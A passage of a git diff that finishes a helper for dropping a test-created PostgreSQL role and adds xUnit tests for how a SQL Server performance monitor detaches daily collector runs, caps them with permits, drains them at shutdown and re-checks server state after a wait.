+        await DropLowPrivRoleAsync(cleanup, role, ct);
+    }
+
+    /// <summary>Drops exactly the named role, and nothing else the cluster holds.</summary>
+    private static async Task DropLowPrivRoleAsync(NpgsqlConnection cleanup, string role, CancellationToken ct)
+    {
         /* DROP OWNED BY revokes the role's grants (incl. the function EXECUTE) so DROP ROLE has no dependents.
            The function itself is owned by the store owner, not this role, so it is left in place (it is the real
            provisioned object). DROP OWNED BY has no IF EXISTS, so tolerate 42704 when the role never existed. */
-        using (var dropOwned = new NpgsqlCommand($"DROP OWNED BY {LowPrivRole}", cleanup))
+        using (var dropOwned = new NpgsqlCommand($"DROP OWNED BY {role}", cleanup))
         {
             try
             {
@@ -283,7 +366,7 @@ private static async Task CleanupAsync(NpgsqlConnection cleanup, string ruleName
             }
         }
 
-        using var dropRole = new NpgsqlCommand($"DROP ROLE IF EXISTS {LowPrivRole}", cleanup);
+        using var dropRole = new NpgsqlCommand($"DROP ROLE IF EXISTS {role}", cleanup);
         await dropRole.ExecuteNonQueryAsync(ct);
     }
 }
diff --git a/Darling/Darling.Tests/DailyCollectorDetachTests.cs b/Darling/Darling.Tests/DailyCollectorDetachTests.cs
new file mode 100644
index 0000000000..9b3c62f600
--- /dev/null
+++ b/Darling/Darling.Tests/DailyCollectorDetachTests.cs
@@ -0,0 +1,1061 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4938: a collector that runs once a day used to run inline in its server's sequential pass, so one long
+/// run (index_object_stats took 43 minutes across 72 databases in a field case) held back every 1-minute
+/// collector on that server for its whole length. Every daily collector now runs detached from the pass,
+/// behind a per-(server, collector) single-flight limit, and a fleet-wide cap bounds how many of them run at
+/// once. These cases drive <see cref="DarlingWorker.RunDueCollectorsAsync"/> with a stand-in for the collector
+/// run (<see cref="DarlingWorker.RunOneBodyOverride"/>) that a test can hold open, so "the pass ends", "the
+/// run is still going" and "the 17th run waits" are observed directly, with no store and no monitored server.
+/// </summary>
+public sealed class DailyCollectorDetachTests
+{
+    private const string Daily = "index_object_stats";
+    private const string FastTier = "wait_stats";
+
+    private static readonly TimeSpan Patience = TimeSpan.FromSeconds(5);
+
+    private static DarlingWorker MakeWorker(RecordingLogger logger) =>
+        new(
+            logger,
+            NullLoggerFactory.Instance,
+            new McpRuntimeState(),
+            new WebRuntimeState(),
+            new MonitoredServerRegistryState(),
+            new CollectorRuntimeState(),
+            new WebTlsCertificateState(),
+            new BaselineCache(),
+            new ReadLatencyAccumulator());
+
+    private static DarlingWorker.ServerLoopState MakeServer(int serverId, params string[] dueCollectors)
+    {
+        var host = $"detach-test-{serverId}";
+        var config = new MonitoredServer { Name = host, Host = host };
+        var runtime = new ServerRuntime
+        {
+            Config = config,
+            ConnectionString = $"Server=tcp:{host},1433;Initial Catalog=master;Encrypt=True",
+            Target = new CollectorTargetInfo(),
+            StorageName = host,
+            ServerId = serverId,
+        };
+        var server = new DarlingWorker.ServerLoopState { Config = config, Runtime = runtime };
+        foreach (var name in dueCollectors)
+        {
+            MarkDue(server, name);
+        }
+
+        return server;
+    }
+
+    private static void MarkDue(DarlingWorker.ServerLoopState server, string collector) =>
+        server.NextDue[collector] = DateTime.UtcNow.AddMinutes(-5);
+
+    /// <summary>
+    /// The stand-in for a collector run. A daily run holds open until a test releases it, one release per run,
+    /// and a 1-minute run returns at once. Every start and finish is recorded under a lock because the runs
+    /// are detached and report from the thread pool.
+    /// </summary>
+    private sealed class FakeRuns
+    {
+        private readonly object _lock = new();
+        private readonly SemaphoreSlim _release = new(0);
+        private readonly bool _holdsThroughStop;
+        private readonly HashSet<string> _holds;
+        private readonly List<(int ServerId, string Collector)> _started = [];
+        private readonly List<(int ServerId, string Collector)> _finished = [];
+        private readonly Dictionary<int, ServerRuntime> _dailyRuntimes = [];
+
+        /// <param name="worker">The worker whose collector runs this stands in for.</param>
+        /// <param name="holdsThroughStop">
+        /// A daily run's hold ignores the token the run was dispatched with, as a run in the middle of a store write
+        /// does, so a test can stop the service while runs are still going and see what the stop does to each one.
+        /// </param>
+        /// <param name="holds">
+        /// The collectors whose run holds open until a test releases it: index_object_stats unless a test names
+        /// others, such as an on-load collector whose scheduled run is detached too.
+        /// </param>
+        public FakeRuns(DarlingWorker worker, bool holdsThroughStop = false, string[]? holds = null)
+        {
+            _holdsThroughStop = holdsThroughStop;
+            _holds = new HashSet<string>(holds ?? [Daily], StringComparer.Ordinal);
+            worker.RunOneBodyOverride = async (_, runtime, collector, ct) =>
+            {
+                var key = (runtime.ServerId, collector);
+                lock (_lock)
+                {
+                    _started.Add(key);
+                    if (collector == Daily)
+                    {
+                        _dailyRuntimes[runtime.ServerId] = runtime;
+                    }
+                }
+
+                if (_holds.Contains(collector))
+                {
+                    await _release.WaitAsync(_holdsThroughStop ? CancellationToken.None : ct);
+                }
+
+                lock (_lock)
+                {
+                    _finished.Add(key);
+                }
+
+                return 1;
+            };
+        }
+
+        public int Started(string collector)
+        {
+            lock (_lock)
+            {
+                return _started.Count(s => s.Collector == collector);
+            }
+        }
+
+        public int Finished(string collector)
+        {
+            lock (_lock)
+            {
+                return _finished.Count(s => s.Collector == collector);
+            }
+        }
+
+        public HashSet<int> FinishedServers(string collector)
+        {
+            lock (_lock)
+            {
+                return _finished.Where(s => s.Collector == collector).Select(s => s.ServerId).ToHashSet();
+            }
+        }
+
+        public bool HasStarted(int serverId, string collector)
+        {
+            lock (_lock)
+            {
+                return _started.Contains((serverId, collector));
+            }
+        }
+
+        /// <summary>The runtime the daily run for this server was given when it started, or null if it has not.</summary>
+        public ServerRuntime? DailyRuntimeOf(int serverId)
+        {
+            lock (_lock)
+            {
+                return _dailyRuntimes.GetValueOrDefault(serverId);
+            }
+        }
+
+        public void ReleaseOne() => _release.Release();
+
+        public void ReleaseAll() => _release.Release(1000);
+    }
+
+    private static async Task<bool> EndsWithinAsync(Task task, TimeSpan patience) =>
+        await Task.WhenAny(task, Task.Delay(patience)) == task;
+
+    private static async Task<bool> BecomesTrueAsync(Func<bool> condition, TimeSpan patience)
+    {
+        var deadline = DateTime.UtcNow + patience;
+        while (DateTime.UtcNow < deadline)
+        {
+            if (condition())
+            {
+                return true;
+            }
+
+            await Task.Delay(10);
+        }
+
+        return condition();
+    }
+
+    [Fact]
+    public async Task TheServerPassEnds_AndTheFastTierRunsOnTime_WhileADailyRunIsBlocked()
+    {
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker);
+        var server = MakeServer(4101, Daily, FastTier);
+        var ct = TestContext.Current.CancellationToken;
+
+        var firstPass = worker.RunDueCollectorsAsync(server, null!, ct);
+        try
+        {
+            Assert.True(
+                await EndsWithinAsync(firstPass, Patience),
+                "the server pass must end while the daily run is still blocked, not wait inside it");
+            Assert.Equal(1, runs.Started(Daily));
+            Assert.Equal(1, runs.Started(FastTier));
+            Assert.Equal(0, runs.Finished(Daily));
+
+            /* A minute later the 1-minute collector comes due again, and the daily run is still going. */
+            MarkDue(server, FastTier);
+            var secondPass = worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(await EndsWithinAsync(secondPass, Patience), "the next pass must not queue behind the daily run");
+            Assert.Equal(2, runs.Started(FastTier));
+            Assert.Equal(1, runs.Started(Daily));
+            Assert.Equal(0, runs.Finished(Daily));
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(firstPass, Patience);
+        }
+    }
+
+    [Fact]
+    public async Task TheSeventeenthDailyRunWaitsForAPermit_ThenRuns_AndNoRunIsDropped()
+    {
+        const int Servers = 17;
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker);
+        var servers = Enumerable.Range(0, Servers).Select(i => MakeServer(4200 + i, Daily)).ToList();
+        var ct = TestContext.Current.CancellationToken;
+
+        var passes = servers.Select(s => worker.RunDueCollectorsAsync(s, null!, ct)).ToList();
+        try
+        {
+            Assert.True(await BecomesTrueAsync(() => runs.Started(Daily) >= 16, Patience), "16 daily runs start at once");
+
+            /* Give the 17th every chance to start; it must not. */
+            await Task.Delay(300, ct);
+            Assert.Equal(16, runs.Started(Daily));
+            Assert.Equal(0, runs.Finished(Daily));
+
+            /* One Debug line says the run is waiting, once, and it names the collector. */
+            var waitLines = WaitLines(logger);
+            Assert.Single(waitLines);
+            Assert.Contains(Daily, waitLines[0].Message, StringComparison.Ordinal);
+
+            /* Its next tick finds the waiting run still unfinished: it skips, and does not log a second wait. */
+            var waiting = servers.Single(s => !runs.HasStarted(s.Runtime!.ServerId, Daily));
+            MarkDue(waiting, Daily);
+            await worker.RunDueCollectorsAsync(waiting, null!, ct);
+            Assert.Equal(16, runs.Started(Daily));
+            Assert.Single(WaitLines(logger));
+
+            /* One run finishes and the waiting one starts. */
+            runs.ReleaseOne();
+            Assert.True(await BecomesTrueAsync(() => runs.Started(Daily) == Servers, Patience), "the 17th run starts when a permit frees");
+
+            runs.ReleaseAll();
+            Assert.True(await BecomesTrueAsync(() => runs.Finished(Daily) == Servers, Patience), "every run finishes");
+            Assert.Equal(Servers, runs.FinishedServers(Daily).Count);
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(Task.WhenAll(passes), Patience);
+        }
+    }
+
+    private static List<(LogLevel Level, string Message, Exception? Exception)> WaitLines(RecordingLogger logger) =>
+        logger.Snapshot()
+            .Where(e => e.Level == LogLevel.Debug && e.Message.Contains("daily-run permit", StringComparison.Ordinal))
+            .ToList();
+
+    /* Shutdown. The service stops with daily runs going, and nothing but the shutdown drain (InFlightDetachedRuns) holds
+       a detached run any more. Its budget is 15 s, so a drain that ends inside Patience ended because the runs did. */
+
+    [Fact]
+    public async Task TheShutdownDrain_WaitsForADailyRunThatIsStillGoing()
+    {
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker, holdsThroughStop: true);
+        var server = MakeServer(4501, Daily);
+        using var stopping = new CancellationTokenSource();
+
+        try
+        {
+            await worker.RunDueCollectorsAsync(server, null!, stopping.Token);
+            Assert.True(await BecomesTrueAsync(() => runs.Started(Daily) == 1, Patience), "the daily run starts");
+            Assert.Single(worker.InFlightDetachedRuns);
+
+            /* The service stops with the run still going. */
+            stopping.Cancel();
+            var drain = worker.DrainInFlightAsync([]);
+            Assert.False(
+                await EndsWithinAsync(drain, TimeSpan.FromMilliseconds(500)),
+                "the stop must wait for a daily run that is still going, not finish beside it");
+            Assert.Equal(0, runs.Finished(Daily));
+
+            runs.ReleaseAll();
+            Assert.True(await EndsWithinAsync(drain, Patience), "the stop finishes once the run has");
+            Assert.Equal(1, runs.Finished(Daily));
+            Assert.True(await BecomesTrueAsync(() => worker.InFlightDetachedRuns.Count == 0, Patience), "a run that ended is no longer tracked");
+        }
+        finally
+        {
+            runs.ReleaseAll();
+        }
+    }
+
+    [Fact]
+    public async Task ADailyRunQueuedForAPermit_EndsAtOnceWhenTheServiceStops_AndNothingFaults()
+    {
+        const int Servers = 17;
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker, holdsThroughStop: true);
+        var servers = Enumerable.Range(0, Servers).Select(i => MakeServer(4600 + i, Daily)).ToList();
+        using var stopping = new CancellationTokenSource();
+
+        var passes = servers.Select(s => worker.RunDueCollectorsAsync(s, null!, stopping.Token)).ToList();
+        try
+        {
+            Assert.True(await BecomesTrueAsync(() => runs.Started(Daily) == 16, Patience), "16 daily runs start at once");
+            Assert.True(await BecomesTrueAsync(() => WaitLines(logger).Count == 1, Patience), "the 17th run is queued for a permit");
+            var tracked = worker.InFlightDetachedRuns.ToList();
+            Assert.Equal(Servers, tracked.Count);
+
+            /* Only the queued run can see the stop: the 16 that started hold on a wait that ignores it. */
+            stopping.Cancel();
+            Assert.True(
+                await BecomesTrueAsync(() => worker.InFlightDetachedRuns.Count == 16, Patience),
+                "a run queued for a permit must end at once on the stopping token");
+            var ended = tracked.Single(t => t.IsCompleted);
+            Assert.True(
+                ended.Status == TaskStatus.RanToCompletion,
+                $"the cancel must be contained inside the run, but the run ended {ended.Status}");
+            Assert.Equal(16, runs.Started(Daily));
+            Assert.Equal(0, runs.Finished(Daily));
+
+            /* The 16 that were going are still awaited, and once they end every run is complete without a fault. */
+            var drain = worker.DrainInFlightAsync([]);
+            Assert.False(await EndsWithinAsync(drain, TimeSpan.FromMilliseconds(300)), "the stop must wait for the 16 runs still going");
+            runs.ReleaseAll();
+            Assert.True(await EndsWithinAsync(drain, Patience), "the stop finishes once the runs have");
+            Assert.All(tracked, t => Assert.Equal(TaskStatus.RanToCompletion, t.Status));
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(Task.WhenAll(passes), Patience);
+        }
+    }
+
+    [Fact]
+    public void TheShutdownMakesItsWaitThroughTheDrain_ThatAddsTheDailyRuns()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs");
+
+        /* The wait the cases above call is the wait the shutdown makes: ExecuteAsync reaches it once, and it is
+           the one place the detached daily runs join the shutdown wait. */
+        Assert.Equal(1, CountOf(worker, "await DrainInFlightAsync(inFlightSweeps);"));
+        Assert.Equal(1, CountOf(worker, "inFlight.AddRange(InFlightDetachedRuns);"));
+    }
+
+    /* The re-read after a long wait. A run queued for a permit can wait for hours behind other daily runs, so what it
+       works on is read again once it has its permit. The override is given the runtime the run is about to use. */
+
+    private sealed record QueuedRun(List<DarlingWorker.ServerLoopState> Servers, DarlingWorker.ServerLoopState Queued, List<Task> Passes);
+
+    /// <summary>
+    /// 17 servers come due for a daily run together: 16 start and hold a permit, and the 17th is queued for one.
+    /// Returns once the 17th is confirmed queued, so a test can change its server while the run waits.
+    /// </summary>
+    private static async Task<QueuedRun> QueueTheSeventeenthAsync(
+        DarlingWorker worker, RecordingLogger logger, FakeRuns runs, int firstServerId, CancellationToken ct)
+    {
+        var servers = Enumerable.Range(0, 17).Select(i => MakeServer(firstServerId + i, Daily)).ToList();
+        var passes = servers.Select(s => worker.RunDueCollectorsAsync(s, null!, ct)).ToList();
+
+        Assert.True(await BecomesTrueAsync(() => runs.Started(Daily) == 16, Patience), "16 daily runs start at once");
+        Assert.True(await BecomesTrueAsync(() => WaitLines(logger).Count == 1, Patience), "the 17th run is queued for a permit");
+        return new QueuedRun(servers, servers.Single(s => !runs.HasStarted(s.Runtime!.ServerId, Daily)), passes);
+    }
+
+    /// <summary>The same server after a reconnect: the same identity, and a new connection.</summary>
+    private static ServerRuntime Reconnected(ServerRuntime old) => Reconnected(old, old.Target);
+
+    /// <summary>The same server after a reconnect that reached a target of a different kind.</summary>
+    private static ServerRuntime Reconnected(ServerRuntime old, CollectorTargetInfo target) =>
+        new()
+        {
+            Config = old.Config,
+            ConnectionString = old.ConnectionString + ";Application Name=reconnected",
+            Target = target,
+            StorageName = old.StorageName,
+            ServerId = old.ServerId,
+        };
+
+    [Fact]
+    public async Task ADailyRun_ThatWaitedForAPermitAndFindsItsServerRemoved_DoesNotRun()
+    {
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker);
+        var ct = TestContext.Current.CancellationToken;
+        var queued = await QueueTheSeventeenthAsync(worker, logger, runs, 4700, ct);
+        try
+        {
+            var queuedId = queued.Queued.Runtime!.ServerId;
+
+            /* The server is removed while the run waits. Its connection is left in place, so it is the removal that
+               stops the run and not the missing connection (the next case). */
+            queued.Queued.Retired = true;
+
+            runs.ReleaseOne();
+            Assert.True(
+                await BecomesTrueAsync(() => worker.InFlightDetachedRuns.Count == 15 || runs.HasStarted(queuedId, Daily), Patience),
+                "the queued run ends once a permit frees");
+            Assert.False(runs.HasStarted(queuedId, Daily), "a run that finds its server removed must not run");
+            Assert.Equal(16, runs.Started(Daily));
+            Assert.Equal(15, worker.InFlightDetachedRuns.Count);
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(Task.WhenAll(queued.Passes), Patience);
+        }
+    }
+
+    [Fact]
+    public async Task ADailyRun_ThatWaitedForAPermitAndFindsItsServerDisconnected_DoesNotRun()
+    {
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker);
+        var ct = TestContext.Current.CancellationToken;
+        var queued = await QueueTheSeventeenthAsync(worker, logger, runs, 4800, ct);
+        try
+        {
+            var queuedId = queued.Queued.Runtime!.ServerId;
+
+            queued.Queued.Runtime = null;
+
+            runs.ReleaseOne();
+            Assert.True(
+                await BecomesTrueAsync(() => worker.InFlightDetachedRuns.Count == 15 || runs.HasStarted(queuedId, Daily), Patience),
+                "the queued run ends once a permit frees");
+            Assert.False(runs.HasStarted(queuedId, Daily), "a run that finds its server disconnected must not run");
+            Assert.Equal(16, runs.Started(Daily));
+            Assert.Equal(15, worker.InFlightDetachedRuns.Count);
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(Task.WhenAll(queued.Passes), Patience);
+        }
+    }
+
+    [Fact]
+    public async Task ADailyRun_ThatWaitedForAPermitAndFindsItsServerReconnected_UsesTheNewConnection()
+    {
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker);
+        var ct = TestContext.Current.CancellationToken;
+        var queued = await QueueTheSeventeenthAsync(worker, logger, runs, 4900, ct);
+        try
+        {
+            var capturedAtDispatch = queued.Queued.Runtime!;
+            var queuedId = capturedAtDispatch.ServerId;
+
+            /* The server reconnects while the run waits: same identity, a new connection. */
+            var reconnected = Reconnected(capturedAtDispatch);
+            queued.Queued.Runtime = reconnected;
+
+            runs.ReleaseOne();
+            Assert.True(await BecomesTrueAsync(() => runs.HasStarted(queuedId, Daily), Patience), "the queued run starts once a permit frees");
+
+            var used = runs.DailyRuntimeOf(queuedId);
+            Assert.False(
+                ReferenceEquals(used, capturedAtDispatch),
+                "a run that waited must not use the connection its server had when it was dispatched");
+            Assert.True(
+                ReferenceEquals(used, reconnected),
+                "a run that waited must use the connection its server has now");
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(Task.WhenAll(queued.Passes), Patience);
+        }
+    }
+
+    /* What the run asks again after the wait. The dispatch asked more than whether the server is still there: whether
+       collection is paused (the loop dispatches nothing while it is), whether the collector is still enabled for the
+       server, and whether it still applies to the target. Each one is changed while the 17th run waits. */
+
+    private static void SetField(DarlingWorker worker, string name, object value) =>
+        typeof(DarlingWorker)
+            .GetField(name, BindingFlags.NonPublic | BindingFlags.Instance)!
+            .SetValue(worker, value);
+
+    /// <summary>Frees one permit, so the queued run wakes, and returns once that run has ended or has started.</summary>
+    private static async Task WakeTheQueuedRunAsync(DarlingWorker worker, FakeRuns runs, int queuedId)
+    {
+        runs.ReleaseOne();
+        Assert.True(
+            await BecomesTrueAsync(() => worker.InFlightDetachedRuns.Count == 15 || runs.HasStarted(queuedId, Daily), Patience),
+            "the queued run ends once a permit frees");
+    }
+
+    [Fact]
+    public async Task ADailyRun_ThatWaitedForAPermitAndFindsCollectionPaused_DoesNotRun_AndIsDueAgainOnResume()
+    {
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker);
+        var ct = TestContext.Current.CancellationToken;
+        var queued = await QueueTheSeventeenthAsync(worker, logger, runs, 5300, ct);
+        try
+        {
+            var queuedId = queued.Queued.Runtime!.ServerId;
+            Assert.True(queued.Queued.NextDue[Daily] > DateTime.UtcNow.AddHours(1), "the dispatch moved the due time a day on");
+
+            /* Collection is paused while the run waits. */
+            SetField(worker, "_paused", true);
+
+            await WakeTheQueuedRunAsync(worker, runs, queuedId);
+            Assert.False(runs.HasStarted(queuedId, Daily), "a run that finds collection paused must not run");
+            Assert.Equal(16, runs.Started(Daily));
+            Assert.Equal(15, worker.InFlightDetachedRuns.Count);
+
+            /* Nothing else moves a due time on a resume, so a skipped run left a day on would wait until tomorrow:
+               it is due again, and the first pass after the resume runs it. */
+            Assert.True(queued.Queued.NextDue[Daily] <= DateTime.UtcNow, "a run skipped for the pause must be due again, not a day away");
+            SetField(worker, "_paused", false);
+            await worker.RunDueCollectorsAsync(queued.Queued, null!, ct);
+            Assert.True(await BecomesTrueAsync(() => runs.HasStarted(queuedId, Daily), Patience), "the pass after the resume runs it");
+        }
+        finally
+        {
+            SetField(worker, "_paused", false);
+            runs.ReleaseAll();
+            await EndsWithinAsync(Task.WhenAll(queued.Passes), Patience);
+        }
+    }
+
+    [Fact]
+    public async Task ADailyRun_ThatWaitedForAPermitAndFindsItsCollectorDisabled_DoesNotRun()
+    {
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker);
+        var ct = TestContext.Current.CancellationToken;
+        var queued = await QueueTheSeventeenthAsync(worker, logger, runs, 5400, ct);
+        try
+        {
+            var queuedId = queued.Queued.Runtime!.ServerId;
+
+            /* An operator turns the collector off for this server while the run waits. */
+            SetField(worker, "_scheduleOverrides", new List<ScheduleOverride> { new(queuedId, Daily, null, null, Enabled: false) });
+
+            await WakeTheQueuedRunAsync(worker, runs, queuedId);
+            Assert.False(runs.HasStarted(queuedId, Daily), "a run whose collector was disabled while it waited must not run");
+            Assert.Equal(16, runs.Started(Daily));
+            Assert.Equal(15, worker.InFlightDetachedRuns.Count);
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(Task.WhenAll(queued.Passes), Patience);
+        }
+    }
+
+    [Fact]
+    public async Task ADailyRun_ThatWaitedForAPermitAndFindsTheCollectorNoLongerApplyingToItsTarget_DoesNotRun()
+    {
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker);
+        var ct = TestContext.Current.CancellationToken;
+        var queued = await QueueTheSeventeenthAsync(worker, logger, runs, 5500, ct);
+        try
+        {
+            var capturedAtDispatch = queued.Queued.Runtime!;
+            var queuedId = capturedAtDispatch.ServerId;
+            Assert.True(CollectorCatalog.AppliesTo(Daily, capturedAtDispatch.Target));
+
+            /* The server reconnects while the run waits, and the target it reaches now is a PostgreSQL one: a SQL Server
+               collector does not apply to it. */
+            var postgres = new CollectorTargetInfo { Engine = CollectorTargetEngine.PostgreSql };
+            Assert.False(CollectorCatalog.AppliesTo(Daily, postgres));
+            queued.Queued.Runtime = Reconnected(capturedAtDispatch, postgres);
+
+            await WakeTheQueuedRunAsync(worker, runs, queuedId);
+            Assert.False(runs.HasStarted(queuedId, Daily), "a run whose collector no longer applies to the target must not run");
+            Assert.Equal(16, runs.Started(Daily));
+            Assert.Equal(15, worker.InFlightDetachedRuns.Count);
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(Task.WhenAll(queued.Passes), Patience);
+        }
+    }
+
+    /* A reconnect while a detached run is still going. The at-connect loop runs the on-load collectors inline, and
+       each one's scheduled run is detached (its recapture is daily). A fault and a reconnect in the middle of that
+       scheduled run brought the loop to the same collector, and a second run started beside the first. */
+
+    private const string OnLoad = "server_config";
+
+    private static EffectiveSchedule OnLoadSchedule(int serverId) => StoreConfigProvider.ResolveSchedule(OnLoad, serverId, []);
+
+    [Fact]
+    public async Task AReconnect_WhileTheScheduledRunOfAnOnLoadCollectorIsStillGoing_StartsNoSecondRun()
+    {
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker, holds: [OnLoad]);
+        var server = MakeServer(5601, OnLoad);
+        var ct = TestContext.Current.CancellationToken;
+
+        var scheduledPass = worker.RunDueCollectorsAsync(server, null!, ct);
+        Task? atConnect = null;
+        try
+        {
+            Assert.True(await EndsWithinAsync(scheduledPass, Patience));
+            Assert.True(await BecomesTrueAsync(() => runs.Started(OnLoad) == 1, Patience), "the scheduled run is going");
+
+            /* The reconnect brings the at-connect loop to the same collector. */
+            atConnect = worker.RunOnLoadAsync(server, null!, OnLoad, 5601, OnLoadSchedule(5601), ct);
+            Assert.True(
+                await EndsWithinAsync(atConnect, Patience),
+                "a reconnect must leave out an on-load collector whose scheduled run is still going, not run it a second time and wait on it");
+            Assert.Equal(1, runs.Started(OnLoad));
+            Assert.Contains(
+                logger.Snapshot(),
+                e => e.Level == LogLevel.Information
+                     && e.Message.Contains(OnLoad, StringComparison.Ordinal)
+                     && e.Message.Contains("still going", StringComparison.Ordinal));
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(scheduledPass, Patience);
+            if (atConnect is not null)
+            {
+                await EndsWithinAsync(atConnect, Patience);
+            }
+        }
+    }
+
+    [Fact]
+    public async Task TheAtConnectRunOfAnOnLoadCollector_RunsWhenNoScheduledRunHoldsTheSlot_AndHoldsItOnlyForItsOwnRun()
+    {
+        var worker = MakeWorker(new RecordingLogger());
+        var runs = new FakeRuns(worker, holds: [OnLoad]);
+        var server = MakeServer(5701);
+        var ct = TestContext.Current.CancellationToken;
+
+        var atConnect = worker.RunOnLoadAsync(server, null!, OnLoad, 5701, OnLoadSchedule(5701), ct);
+        try
+        {
+            Assert.True(await BecomesTrueAsync(() => runs.Started(OnLoad) == 1, Patience), "with no scheduled run going, the at-connect run happens");
+            Assert.False(atConnect.IsCompleted, "the at-connect run is inline: the connect waits for it");
+
+            /* While it runs it holds the slot, so a scheduled run of the same collector leaves it alone. */
+            MarkDue(server, OnLoad);
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            await Task.Delay(100, ct);
+            Assert.Equal(1, runs.Started(OnLoad));
+
+            runs.ReleaseAll();
+            Assert.True(await EndsWithinAsync(atConnect, Patience));
+
+            /* And gives it back: the next scheduled run starts. */
+            MarkDue(server, OnLoad);
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(await BecomesTrueAsync(() => runs.Started(OnLoad) == 2, Patience), "the slot was released after the at-connect run");
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(atConnect, Patience);
+        }
+    }
+
+    [Fact]
+    public void TheAtConnectLoop_RunsAnOnLoadCollectorOnlyThroughTheMethodThatTakesTheSlot()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs");
+
+        Assert.Equal(1, CountOf(worker, "await RunOnLoadAsync(server, runner, name, serverId, effective, cancellationToken);"));
+
+        /* The one other call that spells the collector `name` and passes no peer mark is the snapshot's, which takes
+           the slot itself; a second one would be the at-connect loop running a collector without it. */
+        Assert.Equal(1, CountOf(worker, "await RunOneAsync(server, runner, name, peerMaxAtDispatchMs: null, cancellationToken);"));
+    }
+
+    /* A server removed and added back. The id is the registration's, so the new state has the removed one's id, and a
+       run of the removed state that is still going, or still queued for a permit, held the slot the new state's first
+       daily run needs: that run skipped, and a skipped daily run waits a day. */
+
+    private static ServerRuntime RuntimeFor(MonitoredServer config, int serverId) =>
+        new()
+        {
+            Config = config,
+            ConnectionString = $"Server=tcp:{config.Host},1433;Initial Catalog=master;Encrypt=True",
+            Target = new CollectorTargetInfo(),
+            StorageName = config.Host,
+            ServerId = serverId,
+        };
+
+    private static void Reconcile(DarlingWorker worker, List<DarlingWorker.ServerLoopState> servers, List<MonitoredServer> desired) =>
+        typeof(DarlingWorker)
+            .GetMethod("ReconcileServers", BindingFlags.NonPublic | BindingFlags.Instance)!
+            .Invoke(worker, [servers, desired]);
+
+    [Fact]
+    public async Task AServerRemovedAndAddedBack_WhileItsDailyRunIsStillGoing_IsNotHeldOffForADay()
+    {
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker);
+        var ct = TestContext.Current.CancellationToken;
+        const int ServerId = 5801;
+        const int NeighbourId = 5802;
+
+        var config = new MonitoredServer { Name = "readded", Host = "readded", StoredServerId = ServerId };
+        var first = new DarlingWorker.ServerLoopState { Config = config, Runtime = RuntimeFor(config, ServerId) };
+        MarkDue(first, Daily);
+        var neighbourConfig = new MonitoredServer { Name = "neighbour", Host = "neighbour", StoredServerId = NeighbourId };
+        var neighbour = new DarlingWorker.ServerLoopState { Config = neighbourConfig, Runtime = RuntimeFor(neighbourConfig, NeighbourId) };
+        MarkDue(neighbour, Daily);
+        var servers = new List<DarlingWorker.ServerLoopState> { first, neighbour };
+
+        var passes = new List<Task>
+        {
+            worker.RunDueCollectorsAsync(first, null!, ct),
+            worker.RunDueCollectorsAsync(neighbour, null!, ct),
+        };
+        try
+        {
+            Assert.True(await EndsWithinAsync(Task.WhenAll(passes), Patience));
+            Assert.True(await BecomesTrueAsync(() => runs.Started(Daily) == 2, Patience), "both daily runs are going");
+
+            /* The operator disables the server and enables it again while its run is still going. */
+            Reconcile(worker, servers, [neighbourConfig]);
+            Assert.True(first.Retired);
+            Assert.Single(servers);
+            Reconcile(worker, servers, [neighbourConfig, config]);
+            var second = servers.Single(s => s.Config.ServerId == ServerId);
+            Assert.NotSame(first, second);
+
+            /* The connect path gives the new state its connection, and its daily collector is due. */
+            second.Runtime = RuntimeFor(config, ServerId);
+            MarkDue(second, Daily);
+            await worker.RunDueCollectorsAsync(second, null!, ct);
+            Assert.True(
+                await BecomesTrueAsync(() => runs.Started(Daily) == 3, Patience),
+                "a server added back must run its daily collector, not skip it for a day behind the run of the state that was removed");
+
